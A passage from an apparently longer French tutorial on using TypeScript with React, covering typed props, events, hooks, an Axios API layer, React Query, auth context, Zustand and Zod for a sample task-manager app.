  function getTaskTitle(task: Task | null): string {
    if (!task) return 'Sans titre';
    return task.title;  // task: Task ici (non-null)
  }

  // Optional chaining + nullish coalescing :
  const title = task?.title ?? 'Sans titre';
  const name  = user?.profile?.displayName ?? user?.name ?? 'Anonyme';


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 43 : TYPESCRIPT DANS LES COMPOSANTS REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.1 — TYPER LES PROPS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Méthode 1 : Interface séparée (RECOMMANDÉE — réutilisable)
  interface TaskCardProps {
    task:         Task;
    onComplete:   (id: number) => void;
    onDelete:     (id: number) => void;
    onEdit?:      (task: Task) => void;  // Optionnel
    isHighlighted?: boolean;
    className?:   string;
  }

  function TaskCard({
    task,
    onComplete,
    onDelete,
    onEdit,
    isHighlighted = false,
    className = '',
  }: TaskCardProps) {
    return (
      <article
        className={`task-card priority-${task.priority} ${
          isHighlighted ? 'task-card--highlighted' : ''
        } ${className}`}
      >
        <h3>{task.title}</h3>
        <button onClick={() => onComplete(task.id)}>Terminer</button>
        <button onClick={() => onDelete(task.id)}>Supprimer</button>
        {onEdit && (
          <button onClick={() => onEdit(task)}>Modifier</button>
        )}
      </article>
    );
  }

  // Méthode 2 : Type inline (pour les cas simples)
  function Badge({ label, variant = 'default' }: {
    label:    string;
    variant?: 'default' | 'success' | 'warning' | 'danger' | 'info';
  }) {
    return <span className={`badge badge-${variant}`}>{label}</span>;
  }

  // React.FC (Function Component) — À ÉVITER (problèmes avec children, generics)
  // const Badge: React.FC<{ label: string }> = ({ label }) => <span>{label}</span>;
  // Utiliser plutôt la signature directe (méthode 1 ou 2)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.2 — CHILDREN ET REACT TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { ReactNode, ReactElement, PropsWithChildren } from 'react';

  // ReactNode = tout ce que React peut afficher
  // (JSX, string, number, null, undefined, boolean, array)
  interface CardProps {
    title:    string;
    children: ReactNode;
    footer?:  ReactNode;
  }

  // PropsWithChildren = raccourci pour ajouter children à vos props
  type LayoutProps = PropsWithChildren<{
    title:    string;
    className?: string;
  }>;

  function Layout({ title, children, className = '' }: LayoutProps) {
    return (
      <div className={`layout ${className}`}>
        <h1>{title}</h1>
        <main>{children}</main>
      </div>
    );
  }

  // ReactElement = spécifiquement un élément JSX (pas null/string/etc.)
  interface WithIconProps {
    icon:     ReactElement;    // Doit être un élément JSX
    children: ReactNode;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.3 — EVENTS TYPESCRIPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import {
    MouseEvent, ChangeEvent, FormEvent,
    KeyboardEvent, FocusEvent, DragEvent,
  } from 'react';

  // MouseEvent<Element>
  const handleClick = (e: MouseEvent<HTMLButtonElement>): void => {
    e.preventDefault();
    console.log(e.currentTarget.dataset.taskId);
  };

  // ChangeEvent<Element> — pour les inputs
  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value, type, checked } = e.target;
    const newValue = type === 'checkbox' ? checked : value;
    setFormData(prev => ({ ...prev, [name]: newValue }));
  };

  const handleSelectChange = (e: ChangeEvent<HTMLSelectElement>): void => {
    setFilter(e.target.value as Status | 'all');
  };

  const handleTextareaChange = (e: ChangeEvent<HTMLTextAreaElement>): void => {
    setDescription(e.target.value);
  };

  // FormEvent<HTMLFormElement>
  const handleSubmit = async (e: FormEvent<HTMLFormElement>): Promise<void> => {
    e.preventDefault();
    await onSubmit(formData);
  };

  // KeyboardEvent
  const handleKeyDown = (e: KeyboardEvent<HTMLInputElement>): void => {
    if (e.key === 'Enter') addTag(inputValue);
    if (e.key === 'Escape') setInputValue('');
  };

  // DANS LES PROPS :
  interface ButtonProps {
    onClick?: MouseEvent<HTMLButtonElement>['handler'];  // Non, syntaxe incorrecte
    onClick?: (e: MouseEvent<HTMLButtonElement>) => void; // [OK] Correct
  }

  // Raccourci pour les handlers d'événements :
  import { ComponentPropsWithoutRef } from 'react';
  type ButtonProps = ComponentPropsWithoutRef<'button'> & {
    variant?: 'primary' | 'secondary';
    isLoading?: boolean;
  };
  // -> ButtonProps inclut TOUT ce qu'un <button> HTML peut recevoir

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.4 — COMPOSANT BUTTON TYPÉ COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { ComponentPropsWithoutRef, ReactNode } from 'react';

  type ButtonVariant = 'primary' | 'secondary' | 'ghost' | 'danger' | 'success';
  type ButtonSize    = 'sm' | 'md' | 'lg' | 'xl';

  // Extends ComponentPropsWithoutRef<'button'> pour hériter de tous les attributs HTML
  interface ButtonProps extends ComponentPropsWithoutRef<'button'> {
    variant?:   ButtonVariant;
    size?:      ButtonSize;
    isLoading?: boolean;
    leftIcon?:  ReactNode;
    rightIcon?: ReactNode;
    fullWidth?: boolean;
  }

  function Button({
    children,
    variant    = 'primary',
    size       = 'md',
    isLoading  = false,
    leftIcon,
    rightIcon,
    fullWidth  = false,
    className  = '',
    disabled,
    type       = 'button',
    ...rest
  }: ButtonProps) {
    const classes = [
      'btn',
      `btn-${variant}`,
      `btn-${size}`,
      isLoading && 'btn--loading',
      fullWidth && 'btn--full',
      className,
    ].filter(Boolean).join(' ');

    return (
      <button
        type={type}
        className={classes}
        disabled={disabled || isLoading}
        aria-busy={isLoading}
        {...rest}
      >
        {isLoading ? (
          <span className="spinner" aria-hidden="true" />
        ) : (
          <>
            {leftIcon  && <span aria-hidden="true">{leftIcon}</span>}
            {children}
            {rightIcon && <span aria-hidden="true">{rightIcon}</span>}
          </>
        )}
      </button>
    );
  }

  export default Button;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.5 — COMPOSANT POLYMORPHE (AS PROP)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un composant polymorphe peut se rendre comme différents éléments HTML.

  import { ComponentPropsWithoutRef, ElementType } from 'react';

  // Generic polymorphique :
  type PolymorphicProps<T extends ElementType> = {
    as?: T;
  } & ComponentPropsWithoutRef<T>;

  function Text<T extends ElementType = 'p'>({
    as,
    children,
    ...rest
  }: PolymorphicProps<T>) {
    const Tag = as || 'p';
    return <Tag {...rest}>{children}</Tag>;
  }

  // Utilisation :
  <Text>Paragraphe normal</Text>                  // -> <p>
  <Text as="h1" className="title">Titre</Text>    // -> <h1>
  <Text as="span" aria-hidden="true">Icon</Text>  // -> <span>
  <Text as="label" htmlFor="email">Email</Text>   // -> <label> (avec htmlFor autocomplet !)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
43.6 — FORWARDREF TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { forwardRef, ComponentPropsWithoutRef } from 'react';

  interface InputProps extends ComponentPropsWithoutRef<'input'> {
    label?:    string;
    error?:    string;
    hint?:     string;
    leftIcon?: ReactNode;
  }

  const Input = forwardRef<HTMLInputElement, InputProps>(function Input(
    { label, error, hint, leftIcon, className = '', ...rest },
    ref
  ) {
    return (
      <div className="input-wrapper">
        {label && <label htmlFor={rest.id}>{label}</label>}
        <div className="input-field">
          {leftIcon && <span aria-hidden="true">{leftIcon}</span>}
          <input
            ref={ref}
            className={`input ${error ? 'input--error' : ''} ${className}`}
            aria-invalid={error ? 'true' : undefined}
            {...rest}
          />
        </div>
        {error && <span role="alert" className="error">{error}</span>}
        {hint && !error && <span className="hint">{hint}</span>}
      </div>
    );
  });

  Input.displayName = 'Input';
  export default Input;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 44 : TYPESCRIPT AVEC LES HOOKS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
44.1 — USESTATE TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useState } from 'react';

  // TS infère le type depuis la valeur initiale :
  const [count, setCount]     = useState(0);           // number
  const [name, setName]       = useState('');           // string
  const [isOpen, setIsOpen]   = useState(false);        // boolean

  // Annoter explicitement pour les types complexes ou null :
  const [user, setUser]       = useState<User | null>(null);
  const [tasks, setTasks]     = useState<Task[]>([]);
  const [error, setError]     = useState<string | null>(null);
  const [filter, setFilter]   = useState<Status | 'all'>('all');

  // Objet avec type :
  interface FormState {
    title:    string;
    priority: Priority;
    dueDate:  string | null;
    tags:     string[];
  }

  const [form, setForm] = useState<FormState>({
    title:    '',
    priority: 'medium',
    dueDate:  null,
    tags:     [],
  });

  // Mise à jour partielle typée :
  const updateField = <K extends keyof FormState>(
    field: K,
    value: FormState[K]
  ): void => {
    setForm(prev => ({ ...prev, [field]: value }));
  };

  updateField('title', 'Nouvelle tâche');  // [OK]
  updateField('title', 42);               // [X] Erreur : number n'est pas string

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
44.2 — USEREF TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useRef } from 'react';

  // Ref vers un élément DOM :
  const inputRef    = useRef<HTMLInputElement>(null);
  const divRef      = useRef<HTMLDivElement>(null);
  const buttonRef   = useRef<HTMLButtonElement>(null);
  const formRef     = useRef<HTMLFormElement>(null);

  // Accès -> toujours vérifier .current (peut être null avant montage) :
  const focusInput = () => {
    inputRef.current?.focus();         // Optional chaining <- sûr
    inputRef.current!.focus();         // Non-null assertion <- dangereux (éviter)
  };

  // Ref mutable (pour stocker une valeur sans re-render) :
  const intervalRef = useRef<ReturnType<typeof setInterval> | null>(null);
  const prevCountRef = useRef<number>(0);
  const isMountedRef = useRef<boolean>(true);

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
44.3 — USEREDUCER TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Définir les actions avec discriminated union :
  type TaskAction =
    | { type: 'SET_TASKS';     payload: Task[] }
    | { type: 'ADD_TASK';      payload: Task }
    | { type: 'UPDATE_TASK';   payload: { id: number; updates: Partial<Task> } }
    | { type: 'DELETE_TASK';   payload: number }  // id
    | { type: 'COMPLETE_TASK'; payload: number }  // id
    | { type: 'SET_LOADING';   payload: boolean }
    | { type: 'SET_ERROR';     payload: string | null };

  interface TasksState {
    tasks:     Task[];
    isLoading: boolean;
    error:     string | null;
  }

  const initialState: TasksState = {
    tasks:     [],
    isLoading: false,
    error:     null,
  };

  function tasksReducer(state: TasksState, action: TaskAction): TasksState {
    switch (action.type) {
      case 'SET_TASKS':
        return { ...state, tasks: action.payload };

      case 'ADD_TASK':
        return { ...state, tasks: [action.payload, ...state.tasks] };

      case 'UPDATE_TASK': {
        const { id, updates } = action.payload;
        return {
          ...state,
          tasks: state.tasks.map(t => t.id === id ? { ...t, ...updates } : t),
        };
      }

      case 'DELETE_TASK':
        return {
          ...state,
          tasks: state.tasks.filter(t => t.id !== action.payload),
        };

      case 'COMPLETE_TASK':
        return {
          ...state,
          tasks: state.tasks.map(t =>
            t.id === action.payload
              ? { ...t, status: 'done' as Status, completedAt: new Date() }
              : t
          ),
        };

      case 'SET_LOADING':
        return { ...state, isLoading: action.payload };

      case 'SET_ERROR':
        return { ...state, error: action.payload };

      default:
        // exhaustive check — TS signale si une action n'est pas traitée :
        const _exhaustive: never = action;
        return state;
    }
  }

  // Utilisation :
  const [state, dispatch] = useReducer(tasksReducer, initialState);
  dispatch({ type: 'ADD_TASK', payload: newTask });            // [OK]
  dispatch({ type: 'ADD_TASK', payload: 'wrong' });            // [X] Erreur TS
  dispatch({ type: 'UNKNOWN_ACTION' });                        // [X] Erreur TS

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
44.4 — CUSTOM HOOKS TYPÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Hook générique useFetch :
  interface FetchState<T> {
    data:      T | null;
    isLoading: boolean;
    error:     string | null;
  }

  function useFetch<T>(url: string): FetchState<T> & { refetch: () => void } {
    const [state, setState] = useState<FetchState<T>>({
      data:      null,
      isLoading: true,
      error:     null,
    });

    const fetchData = useCallback(async () => {
      setState(prev => ({ ...prev, isLoading: true, error: null }));
      try {
        const response = await fetch(url);
        if (!response.ok) throw new Error(`HTTP ${response.status}`);
        const data: T = await response.json();
        setState({ data, isLoading: false, error: null });
      } catch (err) {
        setState({
          data: null,
          isLoading: false,
          error: err instanceof Error ? err.message : 'Erreur inconnue',
        });
      }
    }, [url]);

    useEffect(() => { fetchData(); }, [fetchData]);

    return { ...state, refetch: fetchData };
  }

  // Utilisation typée :
  const { data: tasks, isLoading } = useFetch<Task[]>('/api/tasks');
  // tasks: Task[] | null — TS sait que c'est un tableau de Task

  const { data: user } = useFetch<User>('/api/me');
  // user: User | null

  // Hook useLocalStorage typé :
  function useLocalStorage<T>(key: string, defaultValue: T): [T, (val: T) => void, () => void] {
    const [value, setValue] = useState<T>(() => {
      try {
        const stored = localStorage.getItem(key);
        return stored !== null ? JSON.parse(stored) as T : defaultValue;
      } catch {
        return defaultValue;
      }
    });

    const setAndPersist = useCallback((val: T) => {
      setValue(val);
      try {
        localStorage.setItem(key, JSON.stringify(val));
      } catch {}
    }, [key]);

    const remove = useCallback(() => {
      setValue(defaultValue);
      localStorage.removeItem(key);
    }, [key, defaultValue]);

    return [value, setAndPersist, remove];
  }

  // Utilisation :
  const [theme, setTheme, removeTheme] = useLocalStorage<'light' | 'dark'>('theme', 'light');
  setTheme('dark');   // [OK]
  setTheme('blue');   // [X] Erreur TS : 'blue' n'est pas 'light' | 'dark'


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 45 : TYPESCRIPT AVEC L'API ET LES DONNÉES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
45.1 — TYPES API TASKFLOW COMPLETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/types/task.types.ts
  export type Priority = 'low' | 'medium' | 'high' | 'critical';
  export type Status   = 'todo' | 'in_progress' | 'done' | 'cancelled';
  export type UserRole = 'admin' | 'manager' | 'user';

  export interface BaseEntity {
    id:        number;
    createdAt: string;  // ISO string depuis l'API
    updatedAt: string;
  }

  export interface UserSummary {
    id:     number;
    name:   string;
    email:  string;
    avatar: string | null;
    role:   UserRole;
  }

  export interface Subtask {
    id:        number;
    title:     string;
    completed: boolean;
    taskId:    number;
  }

  export interface Task extends BaseEntity {
    title:          string;
    description:    string | null;
    status:         Status;
    priority:       Priority;
    dueDate:        string | null;
    completedAt:    string | null;
    estimatedHours: number | null;
    tags:           string[];
    assignee:       UserSummary | null;
    project:        { id: number; name: string } | null;
    subtasks:       Subtask[];
    commentsCount:  number;
    attachmentsCount: number;
  }

  export interface User extends BaseEntity {
    name:       string;
    email:      string;
    avatar:     string | null;
    role:       UserRole;
    department: string | null;
    isActive:   boolean;
  }

  // DTOs (Data Transfer Objects) — données envoyées à l'API
  export interface CreateTaskDTO {
    title:          string;
    description?:   string;
    priority:       Priority;
    status?:        Status;
    dueDate?:       string;
    assigneeId?:    number;
    projectId?:     number;
    tags?:          string[];
    estimatedHours?: number;
    subtasks?:       Array<{ title: string }>;
  }

  export interface UpdateTaskDTO extends Partial<CreateTaskDTO> {
    status?: Status;
    completedAt?: string;
  }

  // Réponses API paginées :
  export interface PaginatedResponse<T> {
    data:       T[];
    total:      number;
    page:       number;
    limit:      number;
    totalPages: number;
    hasNext:    boolean;
    hasPrev:    boolean;
  }

  export type TasksResponse = PaginatedResponse<Task>;

  // Réponse API standard :
  export interface ApiResponse<T = void> {
    data:    T;
    message: string;
    success: boolean;
  }

  // Erreur API :
  export interface ApiError {
    message:    string;
    statusCode: number;
    errors?:    Record<string, string[]>;  // Erreurs de validation par champ
    code?:      string;
  }

  // Filtres de recherche :
  export interface TaskFilters {
    status?:     Status | 'all';
    priority?:   Priority | 'all';
    assigneeId?: number;
    projectId?:  number;
    dueBefore?:  string;
    dueAfter?:   string;
    search?:     string;
    page?:       number;
    limit?:      number;
    sortBy?:     'createdAt' | 'dueDate' | 'priority' | 'title';
    sortOrder?:  'asc' | 'desc';
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
45.2 — COUCHE API TYPÉE AVEC AXIOS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/api/axios.config.ts
  import axios, { AxiosInstance, AxiosResponse, AxiosError } from 'axios';
  import { ApiError } from '@/types/task.types';

  const api: AxiosInstance = axios.create({
    baseURL: import.meta.env.VITE_API_URL,
    timeout: 10000,
    headers: { 'Content-Type': 'application/json' },
  });

  api.interceptors.request.use((config) => {
    const token = localStorage.getItem('taskflow_token');
    if (token) config.headers.Authorization = `Bearer ${token}`;
    return config;
  });

  api.interceptors.response.use(
    (response: AxiosResponse) => response.data,
    (error: AxiosError<ApiError>) => {
      const message = error.response?.data?.message ?? error.message;
      return Promise.reject(new Error(message));
    }
  );

  export default api;

  // src/api/tasks.api.ts
  import api from './axios.config';
  import type {
    Task, CreateTaskDTO, UpdateTaskDTO,
    TaskFilters, TasksResponse, ApiResponse,
  } from '@/types/task.types';

  export const tasksApi = {
    getAll: (filters?: TaskFilters): Promise<TasksResponse> =>
      api.get('/tasks', { params: filters }),

    getById: (id: number): Promise<Task> =>
      api.get(`/tasks/${id}`),

    create: (data: CreateTaskDTO): Promise<Task> =>
      api.post('/tasks', data),

    update: (id: number, data: UpdateTaskDTO): Promise<Task> =>
      api.patch(`/tasks/${id}`, data),

    delete: (id: number): Promise<ApiResponse> =>
      api.delete(`/tasks/${id}`),

    complete: (id: number): Promise<Task> =>
      api.patch(`/tasks/${id}/complete`),

    addSubtask: (taskId: number, title: string): Promise<Task> =>
      api.post(`/tasks/${taskId}/subtasks`, { title }),
  } as const;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
45.3 — REACT QUERY TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/queries/useTasks.ts
  import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
  import { tasksApi } from '@/api/tasks.api';
  import type { Task, TaskFilters, CreateTaskDTO, UpdateTaskDTO } from '@/types';

  // Query keys factory (type-safe) :
  export const taskKeys = {
    all:    ['tasks'] as const,
    lists:  () => [...taskKeys.all, 'list'] as const,
    list:   (filters: TaskFilters) => [...taskKeys.lists(), filters] as const,
    detail: (id: number) => [...taskKeys.all, 'detail', id] as const,
  } as const;

  // useQuery typé :
  export function useTasks(filters: TaskFilters = {}) {
    return useQuery({
      queryKey: taskKeys.list(filters),
      queryFn:  () => tasksApi.getAll(filters),
      select:   (data) => data.data,  // Extraire data.data depuis PaginatedResponse
    });
    // Retourne { data: Task[] | undefined, isLoading, error, ... }
  }

  export function useTask(id: number) {
    return useQuery({
      queryKey: taskKeys.detail(id),
      queryFn:  () => tasksApi.getById(id),
      enabled:  Boolean(id),
    });
    // Retourne { data: Task | undefined, ... }
  }

  // useMutation typé :
  export function useCreateTask() {
    const qc = useQueryClient();

    return useMutation<Task, Error, CreateTaskDTO>({
      mutationFn: (data: CreateTaskDTO) => tasksApi.create(data),
      onSuccess: (newTask: Task) => {
        qc.invalidateQueries({ queryKey: taskKeys.lists() });
        qc.setQueryData<Task>(taskKeys.detail(newTask.id), newTask);
      },
    });
  }

  export function useUpdateTask() {
    const qc = useQueryClient();

    return useMutation<Task, Error, { id: number; data: UpdateTaskDTO }>({
      mutationFn: ({ id, data }) => tasksApi.update(id, data),
      onSuccess: (updatedTask) => {
        qc.setQueryData<Task>(taskKeys.detail(updatedTask.id), updatedTask);
        qc.invalidateQueries({ queryKey: taskKeys.lists() });
      },
    });
  }

  // Utilisation dans les composants :
  function TasksPage() {
    const [filters, setFilters] = useState<TaskFilters>({ status: 'all' });
    const { data: tasks = [], isLoading, error } = useTasks(filters);
    const createTask = useCreateTask();
    const updateTask = useUpdateTask();

    const handleCreate = (data: CreateTaskDTO) => {
      createTask.mutate(data);
    };

    const handleComplete = (id: number) => {
      updateTask.mutate({ id, data: { status: 'done' } });
    };
    // ...
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 46 : PATTERNS TYPESCRIPT AVANCÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
46.1 — DISCRIMINATED UNIONS POUR L'UI
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Discriminated union pour les états async :
  type AsyncState<T> =
    | { status: 'idle' }
    | { status: 'loading' }
    | { status: 'success'; data: T }
    | { status: 'error';   error: string };

  function TaskList() {
    const [state, setState] = useState<AsyncState<Task[]>>({ status: 'idle' });

    useEffect(() => {
      setState({ status: 'loading' });
      tasksApi.getAll()
        .then(data => setState({ status: 'success', data: data.data }))
        .catch(err => setState({ status: 'error', error: err.message }));
    }, []);

    // TS sait exactement quels champs sont disponibles dans chaque cas :
    switch (state.status) {
      case 'idle':    return <button onClick={load}>Charger</button>;
      case 'loading': return <Spinner />;
      case 'error':   return <ErrorMessage message={state.error} />;
                      //                              ^ TS sait que error existe
      case 'success': return <TaskList tasks={state.data} />;
                      //                         ^ TS sait que data est Task[]
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
46.2 — CONTEXT TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/contexts/AuthContext.tsx
  import { createContext, useContext, useState, useEffect, ReactNode } from 'react';
  import { authApi } from '@/api/auth.api';
  import type { User } from '@/types';

  interface AuthContextValue {
    user:            User | null;
    isLoading:       boolean;
    isAuthenticated: boolean;
    login:           (credentials: LoginCredentials) => Promise<User>;
    logout:          () => Promise<void>;
    updateUser:      (updates: Partial<User>) => void;
  }

  interface LoginCredentials {
    email:    string;
    password: string;
    remember?: boolean;
  }

  // null comme valeur par défaut — useAuth vérifiera que c'est bien dans le Provider
  const AuthContext = createContext<AuthContextValue | null>(null);

  interface AuthProviderProps {
    children: ReactNode;
  }

  export function AuthProvider({ children }: AuthProviderProps) {
    const [user, setUser]           = useState<User | null>(null);
    const [isLoading, setIsLoading] = useState(true);

    useEffect(() => {
      const token = localStorage.getItem('taskflow_token');
      if (!token) { setIsLoading(false); return; }

      authApi.getMe()
        .then(setUser)
        .catch(() => localStorage.removeItem('taskflow_token'))
        .finally(() => setIsLoading(false));
    }, []);

    const login = async (credentials: LoginCredentials): Promise<User> => {
      const { token, user: userData } = await authApi.login(credentials);
      localStorage.setItem('taskflow_token', token);
      setUser(userData);
      return userData;
    };

    const logout = async (): Promise<void> => {
      await authApi.logout().catch(() => {});
      localStorage.removeItem('taskflow_token');
      setUser(null);
    };

    const updateUser = (updates: Partial<User>): void => {
      setUser(prev => prev ? { ...prev, ...updates } : null);
    };

    const value: AuthContextValue = {
      user,
      isLoading,
      isAuthenticated: Boolean(user),
      login,
      logout,
      updateUser,
    };

    return <AuthContext.Provider value={value}>{children}</AuthContext.Provider>;
  }

  export function useAuth(): AuthContextValue {
    const context = useContext(AuthContext);
    if (!context) {
      throw new Error('useAuth doit être utilisé dans AuthProvider');
    }
    return context;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
46.3 — ZUSTAND TYPÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/store/tasks.store.ts
  import { create } from 'zustand';
  import { devtools } from 'zustand/middleware';
  import { immer } from 'zustand/middleware/immer';
  import type { Task, Status, Priority, TaskFilters } from '@/types';

  interface TasksState {
    tasks:     Task[];
    isLoading: boolean;
    error:     string | null;
    filter:    Status | 'all';
    sortBy:    'createdAt' | 'dueDate' | 'priority';
  }

  interface TasksActions {
    setTasks:    (tasks: Task[]) => void;
    addTask:     (task: Task) => void;
    updateTask:  (id: number, updates: Partial<Task>) => void;
    deleteTask:  (id: number) => void;
    setFilter:   (filter: Status | 'all') => void;
    setSortBy:   (sortBy: TasksState['sortBy']) => void;
    setLoading:  (isLoading: boolean) => void;
    setError:    (error: string | null) => void;
    reset:       () => void;
  }

  type TasksStore = TasksState & TasksActions;

  const INITIAL_STATE: TasksState = {
    tasks:     [],
    isLoading: false,
    error:     null,
    filter:    'all',
    sortBy:    'createdAt',
  };

  const useTasksStore = create<TasksStore>()(
    devtools(
      immer((set) => ({
        ...INITIAL_STATE,

        setTasks:   (tasks) => set({ tasks }),
        addTask:    (task)  => set(state => { state.tasks.unshift(task); }),
        updateTask: (id, updates) => set(state => {
          const idx = state.tasks.findIndex(t => t.id === id);
          if (idx !== -1) Object.assign(state.tasks[idx], updates);
        }),
        deleteTask: (id) => set(state => {
          state.tasks = state.tasks.filter(t => t.id !== id);
        }),
        setFilter:  (filter)   => set({ filter }),
        setSortBy:  (sortBy)   => set({ sortBy }),
        setLoading: (isLoading) => set({ isLoading }),
        setError:   (error)    => set({ error }),
        reset:      ()         => set(INITIAL_STATE),
      })),
      { name: 'TasksStore' }
    )
  );

  export default useTasksStore;

  // Sélecteurs typés :
  export const useFilteredTasks = () =>
    useTasksStore(state => {
      const PRIORITY_ORDER: Record<Priority, number> = {
        critical: 0, high: 1, medium: 2, low: 3,
      };
      return state.tasks
        .filter(t => state.filter === 'all' || t.status === state.filter)
        .sort((a, b) => {
          if (state.sortBy === 'priority')
            return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
          if (state.sortBy === 'dueDate')
            return new Date(a.dueDate ?? 0).getTime() - new Date(b.dueDate ?? 0).getTime();
          return new Date(b.createdAt).getTime() - new Date(a.createdAt).getTime();
        });
    });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
46.4 — REACT HOOK FORM + ZOD + TYPESCRIPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/schemas/task.schema.ts
  import { z } from 'zod';

  export const taskSchema = z.object({
    title:           z.string().min(3).max(200).trim(),
    description:     z.string().max(2000).optional(),
    priority:        z.enum(['low', 'medium', 'high', 'critical']),
    status:          z.enum(['todo', 'in_progress', 'done', 'cancelled']).default('todo'),
    dueDate:         z.string().nullable().optional(),
    estimatedHours:  z.number().min(0.5).max(1000).nullable().optional(),
    assigneeId:      z.number().int().positive().nullable().optional(),
    tags:            z.array(z.string().min(1).max(30)).max(10).default([]),
  });

  // Inférer le type depuis le schéma Zod :
  export type TaskFormValues = z.infer<typeof taskSchema>;
  // Equivalent à :
  // type TaskFormValues = {
  //   title: string;
  //   priority: 'low' | 'medium' | 'high' | 'critical';
  //   status: 'todo' | 'in_progress' | 'done' | 'cancelled';
  //   description?: string;
  //   dueDate?: string | null;
  //   ...
  // }

